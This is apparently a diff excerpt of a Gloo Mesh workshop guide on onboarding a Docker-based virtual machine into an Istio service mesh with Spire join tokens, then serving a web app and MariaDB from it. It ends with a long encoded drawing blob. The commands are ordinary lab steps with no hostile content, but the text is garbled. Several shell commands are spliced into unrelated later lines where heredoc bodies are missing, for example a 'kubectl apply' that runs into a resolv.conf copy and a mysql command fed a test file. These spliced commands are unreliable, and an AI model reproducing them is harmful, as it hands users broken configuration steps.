We need to restart it to use the intermediate CA certificate generated by the `RootTrustPolicy`. + +```bash +kubectl --context ${CLUSTER1} -n gloo-mesh rollout restart deploy gloo-spire-server +``` + +First of all, we need to define a few environment variables: + +```bash +export VM_APP="vm1" +export VM_NAMESPACE="virtualmachines" +export VM_NETWORK="vm-network" +``` + +Create the namespace that will host the virtual machine: + +```bash +kubectl --context ${CLUSTER1} create namespace "${VM_NAMESPACE}" +``` + +Let's update the bookinfo `Workspace` to include the `virtualmachines` namespace of the first cluster: + +```bash +kubectl apply --context ${MGMT} -f - < /vm/resolv.conf" +docker exec vm1 cp /vm/resolv.conf /etc/resolv.conf +``` + +Install the dependencies: + +```bash +docker exec vm1 apt update -y +docker exec vm1 apt-get install -y iputils-ping curl iproute2 iptables python3 sudo dnsutils +``` + +Create routes to allow the VM to access the Pods on the 2 Kubernetes clusters: + +```bash +cluster1_cidr=$(kubectl --context ${CLUSTER1} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) +cluster2_cidr=$(kubectl --context ${CLUSTER2} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) + +docker exec vm1 $(kubectl --context ${CLUSTER1} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster1_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +docker exec vm1 $(kubectl --context ${CLUSTER2} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster2_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +``` + +Copy `meshctl` into the container: + +```bash +docker cp $HOME/.gloo-mesh/bin/meshctl vm1:/usr/local/bin/ +``` + +Create an `ExternalWorkload` object to represent the VM and the applications it runs: + +```bash +kubectl apply --context ${CLUSTER1} -f - <&1 | grep INFO | awk '{ print $4}') + sleep 1 # Pause for 1 second +done +--> + +Get a Spire token to register the VM: + +```bash +export JOIN_TOKEN=$(meshctl external-workload gen-token \ + --kubecontext ${CLUSTER1} \ + --ext-workload virtualmachines/${VM_APP} \ + --trust-domain ${CLUSTER1} \ + --plain 2>&1 | grep INFO | awk '{ print $4}') +``` + +Get the IP address of the E/W gateway the VM will use to register itself: + +```bash +export EW_GW_ADDR=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=eastwestgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}') +``` + +Register the VM: + +```bash +export GLOO_AGENT_URL=https://storage.googleapis.com/gloo-platform/vm/v2.5.0/gloo-workload-agent.deb +export ISTIO_URL=https://storage.googleapis.com/solo-workshops/istio-binaries/1.19.3/istio-sidecar.deb + +docker exec vm1 meshctl ew onboard --install \ + --attestor token \ + --join-token ${JOIN_TOKEN} \ + --cluster ${CLUSTER1} \ + --gateway-addr ${EW_GW_ADDR} \ + --gateway istio-gateways/istio-eastwestgateway-1-19 \ + --trust-domain ${CLUSTER1} \ + --istio-rev 1-19 \ + --network vm-network \ + --gloo ${GLOO_AGENT_URL} \ + --istio ${ISTIO_URL} \ + --ext-workload virtualmachines/${VM_APP} +``` + +Take a look at the Envoy clusters: + +```bash +docker exec vm1 curl -v localhost:15000/clusters | grep productpage.bookinfo-frontends.svc.cluster.local +``` + +It should return several lines similar to the one below: + +```,nocopy +outbound|9080||productpage.bookinfo-frontends.svc.cluster.local::172.18.2.1:15443::cx_active::0 +``` + +You can see that the IP address corresponds to the IP address of the E/W Gateway. + +You should now be able to reach the product page application from the VM: + +```bash +docker exec vm1 curl -I productpage.bookinfo-frontends.svc.cluster.local:9080/productpage +``` + + + +Now, let's do the opposite and access an application running in the VM from a Pod. + +Run the following command to start a web server: + +```bash +docker exec -d vm1 python3 -m http.server 9999 +``` + +Try to access the app from the `productpage` Pod: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://${VM_APP}.virtualmachines.ext.cluster.local:9999'); print(r.text)" +``` + + + +Finally, let's deploy MariaDB in the VM and configure the ratings service to use it as a backend. + +```bash +docker exec vm1 apt-get update +docker exec vm1 apt-get install -y mariadb-server +``` + +We need to configure the database properly: + +```bash +docker exec vm1 sed -i '/bind-address/c\bind-address = 0.0.0.0' /etc/mysql/mariadb.conf.d/50-server.cnf +docker exec vm1 systemctl start mysql + +docker exec -i vm1 mysql < ./test.js +const helpers = require('./tests/chai-http'); + +describe("The ratings service should use the database running on the VM", () => { + it('Got reviews v2 with ratings in cluster1', () => helpers.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/productpage', body: 'color="black"', match: true })); +}) + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/vm-integration-spire/tests/ratings-using-vm.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +Let's delete the objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n "${VM_NAMESPACE}" delete externalworkload ${VM_APP} +kubectl --context ${CLUSTER1} delete namespace "${VM_NAMESPACE}" +kubectl --context ${CLUSTER1} -n bookinfo-backends delete -f https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo-ratings-v2-mysql-vm.yaml +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/ratings-v1 --replicas=1 +``` + +Let's apply the original bookinfo Workspace: + +```bash +kubectl apply --context ${MGMT} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1MDAwNaZcbtNVXHUwMDBlwNLHMn90enw+aL2Mi6R1Yd8nXHUwMDA2cccpPMxakDHGKUhITjDdY2X0MI33nq1f91nriF7Qs5s7zVLDZvXiXHUwMDA3p2xcdTAwMGKn7Gh5v8qwy+CP/1x1MDAwM/dcdH9ksJzFmCOQNCi6pzp8PWNcdTAwMGJ/UJio1TGDP5hxTLnGe7RcdTAwMDP3XHUwMDEy0VhtfG4841x1MDAxMtDgjWc0XHUwMDEzXFxcdTAwMWbwcFx1MDAxNFx1MDAxY0zMXHUwMDE10KjQKyCead7ujVx1MDAwYrXbTuH+9UWWaq+DMb5aXHUwMDA38XxcdTAwMWVcdTAwMWJcdTAwMTJEhYVcdTAwMWSXu9QqXGZALeG8XHUwMDFmyIi/XHUwMDE4NVx1MDAxY/OUbVaulreFeSRcdTAwMDe8JtRcdTAwMWWDjMO03Fx1MDAxZHuwz25K+DhHXHUwMDEyp4mbUTtTTpz/QJ5tQZ5cdTAwMWQt71dcdTAwMTl2XHUwMDE55PF/YMTZNl6f33Wmm32q83yGo